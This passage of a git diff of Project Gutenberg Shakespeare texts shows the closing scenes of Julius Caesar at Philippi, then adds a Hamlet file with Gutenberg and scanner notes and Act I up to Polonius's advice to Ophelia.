Pindarus? + Messa. Seeke him Titinius, whilst I go to meet +The Noble Brutus, thrusting this report +Into his eares; I may say thrusting it: +For piercing Steele, and Darts inuenomed, +Shall be as welcome to the eares of Brutus, +As tydings of this sight + + Tit. Hye you Messala, +And I will seeke for Pindarus the while: +Why did'st thou send me forth braue Cassius? +Did I not meet thy Friends, and did not they +Put on my Browes this wreath of Victorie, +And bid me giue it thee? Did'st thou not heare their showts? +Alas, thou hast misconstrued euery thing. +But hold thee, take this Garland on thy Brow, +Thy Brutus bid me giue it thee, and I +Will do his bidding. Brutus, come apace, +And see how I regarded Caius Cassius: +By your leaue Gods: This is a Romans part, +Come Cassius Sword, and finde Titinius hart. + +Dies + +Alarum. Enter Brutus, Messala, yong Cato, Strato, Volumnius, and +Lucillius. + + Bru. Where, where Messala, doth his body lye? + Messa. Loe yonder, and Titinius mourning it + + Bru. Titinius face is vpward + + Cato. He is slaine + + Bru. O Iulius Caesar, thou art mighty yet, +Thy Spirit walkes abroad, and turnes our Swords +In our owne proper Entrailes. Low Alarums + + Cato. Braue Titinius, +Looke where he haue not crown'd dead Cassius + + Bru. Are yet two Romans liuing such as these? +The last of all the Romans, far thee well: +It is impossible, that euer Rome +Should breed thy fellow. Friends I owe mo teares +To this dead man, then you shall see me pay. +I shall finde time, Cassius: I shall finde time. +Come therefore, and to Tharsus send his body, +His Funerals shall not be in our Campe, +Least it discomfort vs. Lucillius come, +And come yong Cato, let vs to the Field, +Labio and Flauio set our Battailes on: +'Tis three a clocke, and Romans yet ere night, +We shall try Fortune in a second fight. + +Exeunt. + +Alarum. Enter Brutus, Messala, Cato, Lucillius, and Flauius. + + Bru. Yet Country-men: O yet, hold vp your heads + + Cato. What Bastard doth not? Who will go with me? +I will proclaime my name about the Field. +I am the Sonne of Marcus Cato, hoe. +A Foe to Tyrants, and my Countries Friend. +I am the Sonne of Marcus Cato, hoe. +Enter Souldiers, and fight. + +And I am Brutus, Marcus Brutus, I, +Brutus my Countries Friend: Know me for Brutus + + Luc. O yong and Noble Cato, art thou downe? +Why now thou dyest, as brauely as Titinius, +And may'st be honour'd, being Cato's Sonne + + Sold. Yeeld, or thou dyest + + Luc. Onely I yeeld to dye: +There is so much, that thou wilt kill me straight: +Kill Brutus, and be honour'd in his death + + Sold. We must not: a Noble Prisoner. +Enter Antony. + + 2.Sold. Roome hoe: tell Antony, Brutus is tane + + 1.Sold. Ile tell thee newes. Heere comes the Generall, +Brutus is tane, Brutus is tane my Lord + + Ant. Where is hee? + Luc. Safe Antony, Brutus is safe enough: +I dare assure thee, that no Enemy +Shall euer take aliue the Noble Brutus: +The Gods defend him from so great a shame, +When you do finde him, or aliue, or dead, +He will be found like Brutus, like himselfe + + Ant. This is not Brutus friend, but I assure you, +A prize no lesse in worth; keepe this man safe, +Giue him all kindnesse. I had rather haue +Such men my Friends, then Enemies. Go on, +And see where Brutus be aliue or dead, +And bring vs word, vnto Octauius Tent: +How euery thing is chanc'd. + +Exeunt. + +Enter Brutus, Dardanius, Clitus, Strato, and Volumnius. + + Brut. Come poore remaines of friends, rest on this +Rocke + + Clit. Statillius shew'd the Torch-light, but my Lord +He came not backe: he is or tane, or slaine + + Brut. Sit thee downe, Clitus: slaying is the word, +It is a deed in fashion. Hearke thee, Clitus + + Clit. What I, my Lord? No, not for all the World + + Brut. Peace then, no words + + Clit. Ile rather kill my selfe + + Brut. Hearke thee, Dardanius + + Dard. Shall I doe such a deed? + Clit. O Dardanius + + Dard. O Clitus + + Clit. What ill request did Brutus make to thee? + Dard. To kill him, Clitus: looke he meditates + + Clit. Now is that Noble Vessell full of griefe, +That it runnes ouer euen at his eyes + + Brut. Come hither, good Volumnius, list a word + + Volum. What sayes my Lord? + Brut. Why this, Volumnius: +The Ghost of Caesar hath appear'd to me +Two seuerall times by Night: at Sardis, once; +And this last Night, here in Philippi fields: +I know my houre is come + + Volum. Not so, my Lord + + Brut. Nay, I am sure it is, Volumnius. +Thou seest the World, Volumnius, how it goes, +Our Enemies haue beat vs to the Pit: + +Low Alarums. + +It is more worthy, to leape in our selues, +Then tarry till they push vs. Good Volumnius, +Thou know'st, that we two went to Schoole together: +Euen for that our loue of old, I prethee +Hold thou my Sword Hilts, whilest I runne on it + + Vol. That's not an Office for a friend, my Lord. + +Alarum still. + + Cly. Fly, flye my Lord, there is no tarrying heere + + Bru. Farewell to you, and you, and Volumnius. +Strato, thou hast bin all this while asleepe: +Farewell to thee, to Strato, Countrymen: +My heart doth ioy, that yet in all my life, +I found no man, but he was true to me. +I shall haue glory by this loosing day +More then Octauius, and Marke Antony, +By this vile Conquest shall attaine vnto. +So fare you well at once, for Brutus tongue +Hath almost ended his liues History: +Night hangs vpon mine eyes, my Bones would rest, +That haue but labour'd, to attaine this houre. + +Alarum. Cry within, Flye, flye, flye. + + Cly. Fly my Lord, flye + + Bru. Hence: I will follow: +I prythee Strato, stay thou by thy Lord, +Thou art a Fellow of a good respect: +Thy life hath had some smatch of Honor in it, +Hold then my Sword, and turne away thy face, +While I do run vpon it. Wilt thou Strato? + Stra. Giue me your hand first. Fare you wel my Lord + + Bru. Farewell good Strato. - Caesar, now be still, +I kill'd not thee with halfe so good a will. +Dyes. + +Alarum. Retreat. Enter Antony, Octauius, Messala, Lucillius, and +the +Army. + + Octa. What man is that? + Messa. My Masters man. Strato, where is thy Master? + Stra. Free from the Bondage you are in Messala, +The Conquerors can but make a fire of him: +For Brutus onely ouercame himselfe, +And no man else hath Honor by his death + + Lucil. So Brutus should be found. I thank thee Brutus +That thou hast prou'd Lucillius saying true, + Octa. All that seru'd Brutus, I will entertaine them. +Fellow, wilt thou bestow thy time with me? + Stra. I, if Messala will preferre me to you + + Octa. Do so, good Messala + + Messa. How dyed my Master Strato? + Stra. I held the Sword, and he did run on it + + Messa. Octauius, then take him to follow thee, +That did the latest seruice to my Master + + Ant. This was the Noblest Roman of them all: +All the Conspirators saue onely hee, +Did that they did, in enuy of great Caesar: +He, onely in a generall honest thought, +And common good to all, made one of them. +His life was gentle, and the Elements +So mixt in him, that Nature might stand vp, +And say to all the world; This was a man + + Octa. According to his Vertue, let vs vse him +Withall Respect, and Rites of Buriall. +Within my Tent his bones to night shall ly, +Most like a Souldier ordered Honourably: +So call the Field to rest, and let's away, +To part the glories of this happy day. + +Exeunt. omnes. + + +FINIS. THE TRAGEDIE OF IVLIVS CaeSAR. + + diff --git a/mccalum/shakespeare-hamlet.txt b/mccalum/shakespeare-hamlet.txt new file mode 100644 index 0000000..6ff64c1 --- /dev/null +++ b/mccalum/shakespeare-hamlet.txt @@ -0,0 +1,5302 @@ +***The Project Gutenberg's Etext of Shakespeare's First Folio*** +*********************The Tragedie of Hamlet********************* + +This is our 3rd edition of most of these plays. See the index. + + +Copyright laws are changing all over the world, be sure to check +the copyright laws for your country before posting these files!! + +Please take a look at the important information in this header. +We encourage you to keep this file on your own disk, keeping an +electronic path open for the next readers. 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FOR PUBLIC DOMAIN ETEXTS*Ver.04.29.93*END* + + + + + +Project Gutenberg's Etext of Shakespeare's The Tragedie of Hamlet + + + + +Executive Director's Notes: + +In addition to the notes below, and so you will *NOT* think all +the spelling errors introduced by the printers of the time have +been corrected, here are the first few lines of Hamlet, as they +are presented herein: + + Barnardo. Who's there? + Fran. Nay answer me: Stand & vnfold +your selfe + + Bar. Long liue the King + +*** + +As I understand it, the printers often ran out of certain words +or letters they had often packed into a "cliche". . .this is the +original meaning of the term cliche. . .and thus, being unwilling +to unpack the cliches, and thus you will see some substitutions +that look very odd. . .such as the exchanges of u for v, v for u, +above. . .and you may wonder why they did it this way, presuming +Shakespeare did not actually write the play in this manner. . . . + +The answer is that they MAY have packed "liue" into a cliche at a +time when they were out of "v"'s. . .possibly having used "vv" in +place of some "w"'s, etc. This was a common practice of the day, +as print was still quite expensive, and they didn't want to spend +more on a wider selection of characters than they had to. + +You will find a lot of these kinds of "errors" in this text, as I +have mentioned in other times and places, many "scholars" have an +extreme attachment to these errors, and many have accorded them a +very high place in the "canon" of Shakespeare. My father read an +assortment of these made available to him by Cambridge University +in England for several months in a glass room constructed for the +purpose. To the best of my knowledge he read ALL those available +. . .in great detail. . .and determined from the various changes, +that Shakespeare most likely did not write in nearly as many of a +variety of errors we credit him for, even though he was in/famous +for signing his name with several different spellings. + +So, please take this into account when reading the comments below +made by our volunteer who prepared this file: you may see errors +that are "not" errors. . . . + +So. . .with this caveat. . .we have NOT changed the canon errors, +here is the Project Gutenberg Etext of Shakespeare's The Tragedie +of Hamlet. + +Michael S. Hart +Project Gutenberg +Executive Director + + +*** + + +Scanner's Notes: What this is and isn't. This was taken from +a copy of Shakespeare's first folio and it is as close as I can +come in ASCII to the printed text. + +The elongated S's have been changed to small s's and the +conjoined ae have been changed to ae. I have left the spelling, +punctuation, capitalization as close as possible to the +printed text. I have corrected some spelling mistakes (I have put +together a spelling dictionary devised from the spellings of the +Geneva Bible and Shakespeare's First Folio and have unified +spellings according to this template), typo's and expanded +abbreviations as I have come across them. Everything within +brackets [] is what I have added. So if you don't like that +you can delete everything within the brackets if you want a +purer Shakespeare. + +Another thing that you should be aware of is that there are textual +differences between various copies of the first folio. So there may +be differences (other than what I have mentioned above) between +this and other first folio editions. This is due to the printer's +habit of setting the type and running off a number of copies and +then proofing the printed copy and correcting the type and then +continuing the printing run. The proof run wasn't thrown away but +incorporated into the printed copies. This is just the way it is. +The text I have used was a composite of more than 30 different +First Folio editions' best pages. + +If you find any scanning errors, out and out typos, punctuation +errors, or if you disagree with my spelling choices please feel +free to email me those errors. I wish to make this the best +etext possible. My email address for right now are haradda@aol.com +and davidr@inconnect.com. I hope that you enjoy this. + +David Reed + +The Tragedie of Hamlet + +Actus Primus. Scoena Prima. + +Enter Barnardo and Francisco two Centinels. + + Barnardo. Who's there? + Fran. Nay answer me: Stand & vnfold +your selfe + + Bar. Long liue the King + + Fran. Barnardo? + Bar. He + + Fran. You come most carefully vpon your houre + + Bar. 'Tis now strook twelue, get thee to bed Francisco + + Fran. For this releefe much thankes: 'Tis bitter cold, +And I am sicke at heart + + Barn. Haue you had quiet Guard? + Fran. Not a Mouse stirring + + Barn. Well, goodnight. If you do meet Horatio and +Marcellus, the Riuals of my Watch, bid them make hast. +Enter Horatio and Marcellus. + + Fran. I thinke I heare them. Stand: who's there? + Hor. Friends to this ground + + Mar. And Leige-men to the Dane + + Fran. Giue you good night + + Mar. O farwel honest Soldier, who hath relieu'd you? + Fra. Barnardo ha's my place: giue you goodnight. + +Exit Fran. + + Mar. Holla Barnardo + + Bar. Say, what is Horatio there? + Hor. A peece of him + + Bar. Welcome Horatio, welcome good Marcellus + + Mar. What, ha's this thing appear'd againe to night + + Bar. I haue seene nothing + + Mar. Horatio saies, 'tis but our Fantasie, +And will not let beleefe take hold of him +Touching this dreaded sight, twice seene of vs, +Therefore I haue intreated him along +With vs, to watch the minutes of this Night, +That if againe this Apparition come, +He may approue our eyes, and speake to it + + Hor. Tush, tush, 'twill not appeare + + Bar. Sit downe a-while, +And let vs once againe assaile your eares, +That are so fortified against our Story, +What we two Nights haue seene + + Hor. Well, sit we downe, +And let vs heare Barnardo speake of this + + Barn. Last night of all, +When yond same Starre that's Westward from the Pole +Had made his course t' illume that part of Heauen +Where now it burnes, Marcellus and my selfe, +The Bell then beating one + + Mar. Peace, breake thee of: +Enter the Ghost. + +Looke where it comes againe + + Barn. In the same figure, like the King that's dead + + Mar. Thou art a Scholler; speake to it Horatio + + Barn. Lookes it not like the King? Marke it Horatio + + Hora. Most like: It harrowes me with fear & wonder + Barn. It would be spoke too + + Mar. Question it Horatio + + Hor. What art thou that vsurp'st this time of night, +Together with that Faire and Warlike forme +In which the Maiesty of buried Denmarke +Did sometimes march: By Heauen I charge thee speake + + Mar. It is offended + + Barn. See, it stalkes away + + Hor. Stay: speake; speake: I Charge thee, speake. + +Exit the Ghost. + + Mar. 'Tis gone, and will not answer + + Barn. How now Horatio? You tremble & look pale: +Is not this something more then Fantasie? +What thinke you on't? + Hor. Before my God, I might not this beleeue +Without the sensible and true auouch +Of mine owne eyes + + Mar. Is it not like the King? + Hor. As thou art to thy selfe, +Such was the very Armour he had on, +When th' Ambitious Norwey combatted: +So frown'd he once, when in an angry parle +He smot the sledded Pollax on the Ice. +'Tis strange + + Mar. Thus twice before, and iust at this dead houre, +With Martiall stalke, hath he gone by our Watch + + Hor. In what particular thought to work, I know not: +But in the grosse and scope of my Opinion, +This boades some strange erruption to our State + + Mar. Good now sit downe, & tell me he that knowes +Why this same strict and most obseruant Watch, +So nightly toyles the subiect of the Land, +And why such dayly Cast of Brazon Cannon +And Forraigne Mart for Implements of warre: +Why such impresse of Ship-wrights, whose sore Taske +Do's not diuide the Sunday from the weeke, +What might be toward, that this sweaty hast +Doth make the Night ioynt-Labourer with the day: +Who is't that can informe me? + Hor. That can I, +At least the whisper goes so: Our last King, +Whose Image euen but now appear'd to vs, +Was (as you know) by Fortinbras of Norway, +(Thereto prick'd on by a most emulate Pride) +Dar'd to the Combate. In which, our Valiant Hamlet, +(For so this side of our knowne world esteem'd him) +Did slay this Fortinbras: who by a Seal'd Compact, +Well ratified by Law, and Heraldrie, +Did forfeite (with his life) all those his Lands +Which he stood seiz'd on, to the Conqueror: +Against the which, a Moity competent +Was gaged by our King: which had return'd +To the Inheritance of Fortinbras, +Had he bin Vanquisher, as by the same Cou'nant +And carriage of the Article designe, +His fell to Hamlet. Now sir, young Fortinbras, +Of vnimproued Mettle, hot and full, +Hath in the skirts of Norway, heere and there, +Shark'd vp a List of Landlesse Resolutes, +For Foode and Diet, to some Enterprize +That hath a stomacke in't: which is no other +(And it doth well appeare vnto our State) +But to recouer of vs by strong hand +And termes Compulsatiue, those foresaid Lands +So by his Father lost: and this (I take it) +Is the maine Motiue of our Preparations, +The Sourse of this our Watch, and the cheefe head +Of this post-hast, and Romage in the Land. +Enter Ghost againe. + +But soft, behold: Loe, where it comes againe: +Ile crosse it, though it blast me. Stay Illusion: +If thou hast any sound, or vse of Voyce, +Speake to me. If there be any good thing to be done, +That may to thee do ease, and grace to me; speak to me. +If thou art priuy to thy Countries Fate +(Which happily foreknowing may auoyd) Oh speake. +Or, if thou hast vp-hoorded in thy life +Extorted Treasure in the wombe of Earth, +(For which, they say, you Spirits oft walke in death) +Speake of it. Stay, and speake. Stop it Marcellus + + Mar. Shall I strike at it with my Partizan? + Hor. Do, if it will not stand + + Barn. 'Tis heere + + Hor. 'Tis heere + + Mar. 'Tis gone. + +Exit Ghost. + +We do it wrong, being so Maiesticall +To offer it the shew of Violence, +For it is as the Ayre, invulnerable, +And our vaine blowes, malicious Mockery + + Barn. It was about to speake, when the Cocke crew + + Hor. And then it started, like a guilty thing +Vpon a fearfull Summons. I haue heard, +The Cocke that is the Trumpet to the day, +Doth with his lofty and shrill-sounding Throate +Awake the God of Day: and at his warning, +Whether in Sea, or Fire, in Earth, or Ayre, +Th' extrauagant, and erring Spirit, hyes +To his Confine. And of the truth heerein, +This present Obiect made probation + + Mar. It faded on the crowing of the Cocke. +Some sayes, that euer 'gainst that Season comes +Wherein our Sauiours Birch is celebrated, +The Bird of Dawning singeth all night long: +And then (they say) no Spirit can walke abroad, +The nights are wholsome, then no Planets strike, +No Faiery talkes, nor Witch hath power to Charme: +So hallow'd, and so gracious is the time + + Hor. So haue I heard, and do in part beleeue it. +But looke, the Morne in Russet mantle clad, +Walkes o're the dew of yon high Easterne Hill, +Breake we our Watch vp, and by my aduice +Let vs impart what we haue seene to night +Vnto yong Hamlet. For vpon my life, +This Spirit dumbe to vs, will speake to him: +Do you consent we shall acquaint him with it, +As needfull in our Loues, fitting our Duty? + Mar. Let do't I pray, and I this morning know +Where we shall finde him most conueniently. + +Exeunt. + +Scena Secunda. + +Enter Claudius King of Denmarke, Gertrude the Queene, Hamlet, +Polonius, +Laertes, and his Sister Ophelia, Lords Attendant. + + King. Though yet of Hamlet our deere Brothers death +The memory be greene: and that it vs befitted +To beare our hearts in greefe, and our whole Kingdome +To be contracted in one brow of woe: +Yet so farre hath Discretion fought with Nature, +That we with wisest sorrow thinke on him, +Together with remembrance of our selues. +Therefore our sometimes Sister, now our Queene, +Th' imperiall Ioyntresse of this warlike State, +Haue we, as 'twere, with a defeated ioy, +With one Auspicious, and one Dropping eye, +With mirth in Funerall, and with Dirge in Marriage, +In equall Scale weighing Delight and Dole +Taken to Wife; nor haue we heerein barr'd +Your better Wisedomes, which haue freely gone +With this affaire along, for all our Thankes. +Now followes, that you know young Fortinbras, +Holding a weake supposall of our worth; +Or thinking by our late deere Brothers death, +Our State to be disioynt, and out of Frame, +Colleagued with the dreame of his Aduantage; +He hath not fayl'd to pester vs with Message, +Importing the surrender of those Lands +Lost by his Father: with all Bonds of Law +To our most valiant Brother. So much for him. +Enter Voltemand and Cornelius. + +Now for our selfe, and for this time of meeting +Thus much the businesse is. We haue heere writ +To Norway, Vncle of young Fortinbras, +Who Impotent and Bedrid, scarsely heares +Of this his Nephewes purpose, to suppresse +His further gate heerein. In that the Leuies, +The Lists, and full proportions are all made +Out of his subiect: and we heere dispatch +You good Cornelius, and you Voltemand, +For bearing of this greeting to old Norway, +Giuing to you no further personall power +To businesse with the King, more then the scope +Of these dilated Articles allow: +Farewell, and let your hast commend your duty + + Volt. In that, and all things, will we shew our duty + + King. We doubt it nothing, heartily farewell. + +Exit Voltemand and Cornelius. + +And now Laertes, what's the newes with you? +You told vs of some suite. What is't Laertes? +You cannot speake of Reason to the Dane, +And loose your voyce. What would'st thou beg Laertes, +That shall not be my Offer, not thy Asking? +The Head is not more Natiue to the Heart, +The Hand more instrumentall to the Mouth, +Then is the Throne of Denmarke to thy Father. +What would'st thou haue Laertes? + Laer. Dread my Lord, +Your leaue and fauour to returne to France, +From whence, though willingly I came to Denmarke +To shew my duty in your Coronation, +Yet now I must confesse, that duty done, +My thoughts and wishes bend againe towards France, +And bow them to your gracious leaue and pardon + + King. Haue you your Fathers leaue? +What sayes Pollonius? + Pol. He hath my Lord: +I do beseech you giue him leaue to go + + King. Take thy faire houre Laertes, time be thine, +And thy best graces spend it at thy will: +But now my Cosin Hamlet, and my Sonne? + Ham. A little more then kin, and lesse then kinde + + King. How is it that the Clouds still hang on you? + Ham. Not so my Lord, I am too much i'th' Sun + + Queen. Good Hamlet cast thy nightly colour off, +And let thine eye looke like a Friend on Denmarke. +Do not for euer with thy veyled lids +Seeke for thy Noble Father in the dust; +Thou know'st 'tis common, all that liues must dye, +Passing through Nature, to Eternity + + Ham. I Madam, it is common + + Queen. If it be; +Why seemes it so particular with thee + + Ham. Seemes Madam? Nay, it is: I know not Seemes: +'Tis not alone my Inky Cloake (good Mother) +Nor Customary suites of solemne Blacke, +Nor windy suspiration of forc'd breath, +No, nor the fruitfull Riuer in the Eye, +Nor the deiected hauiour of the Visage, +Together with all Formes, Moods, shewes of Griefe, +That can denote me truly. These indeed Seeme, +For they are actions that a man might play: +But I haue that Within, which passeth show; +These, but the Trappings, and the Suites of woe + + King. 'Tis sweet and commendable +In your Nature Hamlet, +To giue these mourning duties to your Father: +But you must know, your Father lost a Father, +That Father lost, lost his, and the Suruiuer bound +In filiall Obligation, for some terme +To do obsequious Sorrow. But to perseuer +In obstinate Condolement, is a course +Of impious stubbornnesse. 'Tis vnmanly greefe, +It shewes a will most incorrect to Heauen, +A Heart vnfortified, a Minde impatient, +An Vnderstanding simple, and vnschool'd: +For, what we know must be, and is as common +As any the most vulgar thing to sence, +Why should we in our peeuish Opposition +Take it to heart? Fye, 'tis a fault to Heauen, +A fault against the Dead, a fault to Nature, +To Reason most absurd, whose common Theame +Is death of Fathers, and who still hath cried, +From the first Coarse, till he that dyed to day, +This must be so. We pray you throw to earth +This vnpreuayling woe, and thinke of vs +As of a Father; For let the world take note, +You are the most immediate to our Throne, +And with no lesse Nobility of Loue, +Then that which deerest Father beares his Sonne, +Do I impart towards you. For your intent +In going backe to Schoole in Wittenberg, +It is most retrograde to our desire: +And we beseech you, bend you to remaine +Heere in the cheere and comfort of our eye, +Our cheefest Courtier Cosin, and our Sonne + + Qu. Let not thy Mother lose her Prayers Hamlet: +I prythee stay with vs, go not to Wittenberg + + Ham. I shall in all my best +Obey you Madam + + King. Why 'tis a louing, and a faire Reply, +Be as our selfe in Denmarke. Madam come, +This gentle and vnforc'd accord of Hamlet +Sits smiling to my heart; in grace whereof, +No iocond health that Denmarke drinkes to day, +But the great Cannon to the Clowds shall tell, +And the Kings Rouce, the Heauens shall bruite againe, +Respeaking earthly Thunder. Come away. + +Exeunt. + +Manet Hamlet. + + Ham. Oh that this too too solid Flesh, would melt, +Thaw, and resolue it selfe into a Dew: +Or that the Euerlasting had not fixt +His Cannon 'gainst Selfe-slaughter. O God, O God! +How weary, stale, flat, and vnprofitable +Seemes to me all the vses of this world? +Fie on't? Oh fie, fie, 'tis an vnweeded Garden +That growes to Seed: Things rank, and grosse in Nature +Possesse it meerely. That it should come to this: +But two months dead: Nay, not so much; not two, +So excellent a King, that was to this +Hiperion to a Satyre: so louing to my Mother, +That he might not beteene the windes of heauen +Visit her face too roughly. Heauen and Earth +Must I remember: why she would hang on him, +As if encrease of Appetite had growne +By what is fed on; and yet within a month? +Let me not thinke on't: Frailty, thy name is woman. +A little Month, or ere those shooes were old, +With which she followed my poore Fathers body +Like Niobe, all teares. Why she, euen she. +(O Heauen! A beast that wants discourse of Reason +Would haue mourn'd longer) married with mine Vnkle, +My Fathers Brother: but no more like my Father, +Then I to Hercules. Within a Moneth? +Ere yet the salt of most vnrighteous Teares +Had left the flushing of her gauled eyes, +She married. O most wicked speed, to post +With such dexterity to Incestuous sheets: +It is not, nor it cannot come to good. +But breake my heart, for I must hold my tongue. +Enter Horatio, Barnardo, and Marcellus. + + Hor. Haile to your Lordship + + Ham. I am glad to see you well: +Horatio, or I do forget my selfe + + Hor. The same my Lord, +And your poore Seruant euer + + Ham. Sir my good friend, +Ile change that name with you: +And what make you from Wittenberg Horatio? +Marcellus + + Mar. My good Lord + + Ham. I am very glad to see you: good euen Sir. +But what in faith make you from Wittemberge? + Hor. A truant disposition, good my Lord + + Ham. I would not haue your Enemy say so; +Nor shall you doe mine eare that violence, +To make it truster of your owne report +Against your selfe. I know you are no Truant: +But what is your affaire in Elsenour? +Wee'l teach you to drinke deepe, ere you depart + + Hor. My Lord, I came to see your Fathers Funerall + + Ham. I pray thee doe not mock me (fellow Student) +I thinke it was to see my Mothers Wedding + + Hor. Indeed my Lord, it followed hard vpon + + Ham. Thrift thrift Horatio: the Funerall Bakt-meats +Did coldly furnish forth the Marriage Tables; +Would I had met my dearest foe in heauen, +Ere I had euer seene that day Horatio. +My father, me thinkes I see my father + + Hor. Oh where my Lord? + Ham. In my minds eye (Horatio) + Hor. I saw him once; he was a goodly King + + Ham. He was a man, take him for all in all: +I shall not look vpon his like againe + + Hor. My Lord, I thinke I saw him yesternight + + Ham. Saw? Who? + Hor. My Lord, the King your Father + + Ham. The King my Father? + Hor. Season your admiration for a while +With an attent eare; till I may deliuer +Vpon the witnesse of these Gentlemen, +This maruell to you + + Ham. For Heauens loue let me heare + + Hor. Two nights together, had these Gentlemen +(Marcellus and Barnardo) on their Watch +In the dead wast and middle of the night +Beene thus encountred. A figure like your Father, +Arm'd at all points exactly, Cap a Pe, +Appeares before them, and with sollemne march +Goes slow and stately: By them thrice he walkt, +By their opprest and feare-surprized eyes, +Within his Truncheons length; whilst they bestil'd +Almost to Ielly with the Act of feare, +Stand dumbe and speake not to him. This to me +In dreadfull secrecie impart they did, +And I with them the third Night kept the Watch, +Whereas they had deliuer'd both in time, +Forme of the thing; each word made true and good, +The Apparition comes. I knew your Father: +These hands are not more like + + Ham. But where was this? + Mar. My Lord vpon the platforme where we watcht + + Ham. Did you not speake to it? + Hor. My Lord, I did; +But answere made it none: yet once me thought +It lifted vp it head, and did addresse +It selfe to motion, like as it would speake: +But euen then, the Morning Cocke crew lowd; +And at the sound it shrunke in hast away, +And vanisht from our sight + + Ham. Tis very strange + + Hor. As I doe liue my honourd Lord 'tis true; +And we did thinke it writ downe in our duty +To let you know of it + + Ham. Indeed, indeed Sirs; but this troubles me. +Hold you the watch to Night? + Both. We doe my Lord + + Ham. Arm'd, say you? + Both. Arm'd, my Lord + + Ham. From top to toe? + Both. My Lord, from head to foote + + Ham. Then saw you not his face? + Hor. O yes, my Lord, he wore his Beauer vp + + Ham. What, lookt he frowningly? + Hor. A countenance more in sorrow then in anger + + Ham. Pale, or red? + Hor. Nay very pale + + Ham. And fixt his eyes vpon you? + Hor. Most constantly + + Ham. I would I had beene there + + Hor. It would haue much amaz'd you + + Ham. Very like, very like: staid it long? + Hor. While one with moderate hast might tell a hundred + + All. Longer, longer + + Hor. Not when I saw't + + Ham. His Beard was grisly? no + + Hor. It was, as I haue seene it in his life, +A Sable Siluer'd + + Ham. Ile watch to Night; perchance 'twill wake againe + + Hor. I warrant you it will + + Ham. If it assume my noble Fathers person, +Ile speake to it, though Hell it selfe should gape +And bid me hold my peace. I pray you all, +If you haue hitherto conceald this sight; +Let it bee treble in your silence still: +And whatsoeuer els shall hap to night, +Giue it an vnderstanding but no tongue; +I will requite your loues; so fare ye well: +Vpon the Platforme twixt eleuen and twelue, +Ile visit you + + All. Our duty to your Honour. + +Exeunt + + Ham. Your loue, as mine to you: farewell. +My Fathers Spirit in Armes? All is not well: +I doubt some foule play: would the Night were come; +Till then sit still my soule; foule deeds will rise, +Though all the earth orewhelm them to mens eies. +Enter. + + +Scena Tertia + + +Enter Laertes and Ophelia. + + Laer. My necessaries are imbark't; Farewell: +And Sister, as the Winds giue Benefit, +And Conuoy is assistant; doe not sleepe, +But let me heare from you + + Ophel. Doe you doubt that? + Laer. For Hamlet, and the trifling of his fauours, +Hold it a fashion and a toy in Bloude; +A Violet in the youth of Primy Nature; +Froward, not permanent; sweet not lasting +The suppliance of a minute? No more + + Ophel. No more but so + + Laer. Thinke it no more: +For nature cressant does not grow alone, +In thewes and Bulke: but as his Temple waxes, +The inward seruice of the Minde and Soule +Growes wide withall. Perhaps he loues you now, +And now no soyle nor cautell doth besmerch +The vertue of his feare: but you must feare +His greatnesse weigh'd, his will is not his owne; +For hee himselfe is subiect to his Birth: +Hee may not, as vnuallued persons doe, +Carue for himselfe; for, on his choyce depends +The sanctity and health of the whole State. +And therefore must his choyce be circumscrib'd +Vnto the voyce and yeelding of that Body, +Whereof he is the Head. Then if he sayes he loues you, +It fits your wisedome so farre to beleeue it; +As he in his peculiar Sect and force +May giue his saying deed: which is no further, +Then the maine voyce of Denmarke goes withall. +Then weight what losse your Honour may sustaine, +If with too credent eare you list his Songs; +Or lose your Heart; or your chast Treasure open +To his vnmastred importunity. +Feare it Ophelia, feare it my deare Sister, +And keepe within the reare of your Affection; +Out of the shot and danger of Desire. +The chariest Maid is Prodigall enough, +If she vnmaske her beauty to the Moone: +Vertue it selfe scapes not calumnious stroakes, +The Canker Galls, the Infants of the Spring +Too oft before the buttons be disclos'd, +And in the Morne and liquid dew of Youth, +Contagious blastments are most imminent. +Be wary then, best safety lies in feare; +Youth to it selfe rebels, though none else neere + + Ophe. I shall th' effect of this good Lesson keepe, +As watchmen to my heart: but good my Brother +Doe not as some vngracious Pastors doe, +Shew me the steepe and thorny way to Heauen; +Whilst like a puft and recklesse Libertine +Himselfe, the Primrose path of dalliance treads, +And reaks not his owne reade + + Laer. Oh, feare me not. +Enter Polonius. + +I stay too long; but here my Father comes: +A double blessing is a double grace; +Occasion smiles vpon a second leaue + + Polon. Yet heere Laertes? Aboord, aboord for shame, +The winde sits in the shoulder of your saile, +And you are staid for there: my blessing with you; +And these few Precepts in thy memory, +See thou Character. Giue thy thoughts no tongue, +Nor any vnproportion'd thoughts his Act: +Be thou familiar; but by no meanes vulgar: +The friends thou hast, and their adoption tride, +Grapple them to thy Soule, with hoopes of Steele: +But doe not dull thy palme, with entertainment +Of each vnhatch't, vnfledg'd Comrade. Beware +Of entrance to a quarrell: but being in +Bear't that th' opposed may beware of thee. +Giue euery man thine eare; but few thy voyce: +Take each mans censure; but reserue thy iudgement: +Costly thy habit as thy purse can buy; +But not exprest in fancie; rich, not gawdie: +For the Apparell oft proclaimes the man. +And they in France of the best ranck and station, +Are of a most select and generous cheff in that. +Neither a borrower, nor a lender be; +For lone oft loses both it selfe and friend: +And borrowing duls the edge of Husbandry. +This aboue all; to thine owne selfe be true: +And it must follow, as the Night the Day, +Thou canst not then be false to any man. +Farewell: my Blessing season this in thee + + Laer. Most humbly doe I take my leaue, my Lord + + Polon. The time inuites you, goe, your seruants tend + + Laer. Farewell Ophelia, and remember well +What I haue said to you + + Ophe. Tis in my memory lockt, +And you your selfe shall keepe the key of it + + Laer. Farewell. + +Exit Laer. + + Polon. What ist Ophelia he hath said to you? + Ophe. So please you, somthing touching the L[ord]. Hamlet + + Polon. Marry, well bethought: +Tis told me he hath very oft of late +Giuen priuate time to you; and you your selfe +Haue of your audience beene most free and bounteous. +If it be so, as so tis put on me; +And that in way of caution: I must tell you, +You doe not vnderstand your selfe so cleerely, +As it behoues my Daughter, and your Honour. +What is betweene you, giue me vp the truth? + Ophe. He hath my Lord of late, made many tenders +Of his affection to me + + Polon. Affection, puh. You speake like a greene Girle, +Vnsifted in such perillous Circumstance. +Doe you beleeue his tenders, as you call them? + Ophe. I do not know, my Lord, what I should thinke + + Polon. Marry Ile teach you; thinke your selfe a Baby, +That you haue tane his tenders for true pay, +Which are not starling. Tender your selfe more dearly; +Or not to crack the winde of the poore Phrase, +Roaming it thus, you'l tender me a foole + + Ophe. My Lord, he hath importun'd me with loue, +In honourable fashion + + Polon. I, fashion you may call it, go too, go too + + Ophe. And hath giuen countenance to his speech, +My Lord, with all the vowes of Heauen + + Polon. I, Springes to catch Woodcocks. I doe know +When the Bloud 